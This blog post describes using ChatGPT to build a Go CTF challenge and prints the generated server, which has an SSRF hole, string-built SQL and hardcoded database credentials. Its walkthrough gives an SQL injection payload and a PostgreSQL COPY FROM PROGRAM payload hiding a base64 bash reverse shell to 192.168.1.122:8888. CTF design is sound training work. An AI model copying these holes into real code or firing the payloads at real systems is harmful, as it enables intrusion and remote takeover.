Can an AI design a CTF Challenge in Golang?
So recently my twitter feed got flooded by this new and trending AI ChatGPT
by the company OpenAI
. Suddenly a lot of security researcher were doing different interesting things with this AI. To my surprise the AI seamed to be very powerful. So I decided to play with it myself a little. Also I did see other researcher doing similar things as I initially intended, so I wanted to try myself.
I was thinking about a thing I can make the AI do for me. And as I already designed a box for HackTheBox which was called Devzat
I already had experience designing intentionally vulnerable CTF machines. As the process of designing such a box is long and sometimes tedious I wanted to try and see if the AI can help with this topic.
Rolling for Vulnerabilities
So first of all I went to the page (https://chat.openai.com/chat) and asked the bot a specific question:
Create a golang CTF challenge that chains together an SSRF vulnerability with a SQL injection to achieve Remote Code Execution. Write the full code formatted.
I took a few attempts until the results were fitting to my needs but eventually it spat out the code I was looking for:
package main
import (
"database/sql"
"fmt"
"io"
"net/http"
"net/url"
_ "github.com/go-sql-driver/mysql"
)
func main() {
http.HandleFunc("/", handleRequest)
http.ListenAndServe(":8080", nil)
}
func handleRequest(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query()
urlString := query.Get("url")
// check for ssrf vulnerability
if urlString == "" {
http.Error(w, "missing url parameter", http.StatusBadRequest)
return
}
parsedURL, err := url.Parse(urlString)
if err != nil || parsedURL.Scheme == "" || parsedURL.Host == "" {
http.Error(w, "invalid url parameter", http.StatusBadRequest)
return
}
// make request to url provided in url parameter
resp, err := http.Get(urlString)
if err != nil {
http.Error(w, "error making request to provided url", http.StatusInternalServerError)
return
}
defer resp.Body.Close()
// extract and sanitize user input from response body
userInput := sanitizeInput(resp.Body)
// perform sql injection with user input
db, err := sql.Open("mysql", "root:toor@tcp(localhost:3306)/test")
if err != nil {
http.Error(w, "error connecting to database", http.StatusInternalServerError)
return
}
defer db.Close()
sqlQuery := fmt.Sprintf("SELECT * FROM users WHERE username='%s'", userInput)
rows, err := db.Query(sqlQuery)
if err != nil {
fmt.Println(err)
http.Error(w, "error executing sql query", http.StatusInternalServerError)
return
}
defer rows.Close()
// process and display results
var username string
var password string
for rows.Next() {
err := rows.Scan(&username, &password)
if err != nil {
http.Error(w, "error processing sql query results", http.StatusInternalServerError)
return
}
fmt.Fprintf(w, "username: %s, password: %s\n", username, password)
}
}
func sanitizeInput(input io.Reader) string {
// perform input sanitization
}
As we can see from the code above the bot was giving me almost functional code which incorporated a SSRF Vulnerability and a SQL Injection.
All I needed to do to make it work was giving it a little more context. So I added around this code basis a little bits and pieces:
- I completed the
sanitizeInput()
function (actually not sanitizing input at all - you are supposed to do it that way, aren’t you?) - I added 2 additional routes
- A route that displays an index page
- A route that statically returns
test-user
so it can be inserted into the SQL Statement
- 2 UI templates, which are embedded into the binary using golangs
embed
package- The
index.html
shows a button to retrieve the users credentials - The
display.html
then displays the data retrieved from the database
- The
With this setup the challenge was already completed.
One thing I also needed to change. As the bot was providing MySQL as a database driver and I wanted to achieve an easy Remote Code Execution at the end I wanted to swap that out with PostgreSQL. At first I though about which changes I had to introduce to the code until I figured: “Why not let the bot do the changes”:
Funny enough I want to bring to your attention that the AI also discovered the SQL Injection Vulnerability in the code.
Results
If you want to see the resulting code you can go to github.com/patrickhener/chatgpt-ctf and try out yourself.
Walkthrough
If you first want to try out the challenge yourself then stop reading and do so. Otherwise now here is how to solve it.
The index page will show you a single button:
If you click it the credentials from the database table will be returned and rendered like pictured below:
As you can tell from the url and also from the codebase the button does the following:
- It issues a request to the route
/fetchCreds
- Also it does provide a url parameter pointing to the route
/getUser
- This route will return the static string
test-user
- Finally this string will get inserted into the SQL Statement and return the corresponding table row
So what happens if we change the url part and provide other strings here? Lets try. Imagine a payload like:
’ OR 1=1 – -
This should display not only the test-user
but all entries of the database table, right?
I provided the file called or
with my tool goshs.
From here we can do whatever we desire. For example spawn a reverse shell. The payload for this would look something like this:
test-user’;DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM ’echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIyLzg4ODggMD4mMQ== | base64 -d | bash’;SELECT * FROM cmd_exec;DROP TABLE cmd_exec; – -
Within the base64 blob there is a reverse shell oneliner I took from https://revshells.com.
The result will be a revese shell spawning on port 8888 like so:
Summary
So the AI is capable of doing a lot of crazy things. Still I had to code a good amount around the vulnerable code snippet it provided for it being a “complete challenge”.
Thanks for reading and as always stay safe ❤️